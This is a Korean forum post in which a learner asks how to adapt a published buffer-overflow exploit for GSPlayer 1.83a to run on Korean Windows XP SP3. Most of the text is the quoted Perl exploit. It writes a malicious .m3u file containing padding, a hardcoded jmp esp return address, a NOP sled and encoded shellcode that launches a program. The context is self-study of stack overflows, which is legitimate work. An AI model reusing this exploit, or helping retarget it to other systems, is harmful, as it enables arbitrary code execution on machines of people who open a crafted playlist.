횽님들 예전에 글올렷던 바보 글쓴이 입니다.
지금은 횽님들 덕분에 아래에 있는  소스분석도 다하고 올리디버거로 스택메모리 구조도 보면서 공부하고 잇숨니돠
근데 이제 이 취약한 버전인 GSplyer를  실행해보고 싶은데 환경이 안맞아서 실행을 못하고 잇습니다( Windows XP SP3 KR버전이라서 그런지...)밑에 주석에 보시면 Windows XP SP3 EN에서 취약한...
한마디로 이 1.83a버전 플레이어를 열어 m3u파일을 실행하면 갑자기 계산기 프로그램이 뜨는 취약소스입니다
하지만 환경이 맞는곳을 찾을 수 없다고 합니다
정답은 제가 소스를 통해 환경을 바꿔야 한다는 군요
이 소스에서 뭘바꾸면
실행이 될까요?

고수신 횽님들
부탁드립니다



# Exploit Title: GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability 

# Date: 2010/11/04 

# Author: moigai 

# e-mail: again.liu@gmail.com 

# Software Link: http://www.vector.co.jp/download/file/win95/art/fh296344.html 

# Version: 1.83a Win32 Release 

# Tested on: Windows XP SP3 En (VM) 

my $file = "GSPlayer.m3u"; 

my $junk1 = "\\x41" x 257; 

#jmp esp from kernel32.dll 

my $eip = pack(\'V\',0x7C86467B); 

my $junk2 = "Ai7Ai8Ai"; 

my $nop = "\\x90" x 30; 

#executes calc 

my $shell =  

"\\xdb\\xc0\\x31\\xc9\\xbf\\x7c\\x16\\x70\\xcc\\xd9\\x74\\x24\\xf4\\xb1" . 

"\\x1e\\x58\\x31\\x78\\x18\\x83\\xe8\\xfc\\x03\\x78\\x68\\xf4\\x85\\x30" . 

"\\x78\\xbc\\x65\\xc9\\x78\\xb6\\x23\\xf5\\xf3\\xb4\\xae\\x7d\\x02\\xaa" . 

"\\x3a\\x32\\x1c\\xbf\\x62\\xed\\x1d\\x54\\xd5\\x66\\x29\\x21\\xe7\\x96" . 

"\\x60\\xf5\\x71\\xca\\x06\\x35\\xf5\\x14\\xc7\\x7c\\xfb\\x1b\\x05\\x6b" . 

"\\xf0\\x27\\xdd\\x48\\xfd\\x22\\x38\\x1b\\xa2\\xe8\\xc3\\xf7\\x3b\\x7a" . 

"\\xcf\\x4c\\x4f\\x23\\xd3\\x53\\xa4\\x57\\xf7\\xd8\\x3b\\x83\\x8e\\x83" . 

"\\x1f\\x57\\x53\\x64\\x51\\xa1\\x33\\xcd\\xf5\\xc6\\xf5\\xc1\\x7e\\x98" . 

"\\xf5\\xaa\\xf1\\x05\\xa8\\x26\\x99\\x3d\\x3b\\xc0\\xd9\\xfe\\x51\\x61" . 

"\\xb6\\x0e\\x2f\\x85\\x19\\x87\\xb7\\x78\\x2f\\x59\\x90\\x7b\\xd7\\x05" . 

"\\x7f\\xe8\\x7b\\xca"; 

my $payload = $junk1 . $eip . $junk2 . $nop . $shell; 

my $rest = "\\x42" x (4064 - length($payload)); 

$payload = $payload . $rest . ".mp3"; 

print "\\n[+] Creating m3u file\\n"; 

open(FILE, ">$file"); 

print FILE $payload; 

close(FILE); 

print "[+] File " . $file . " created\\n";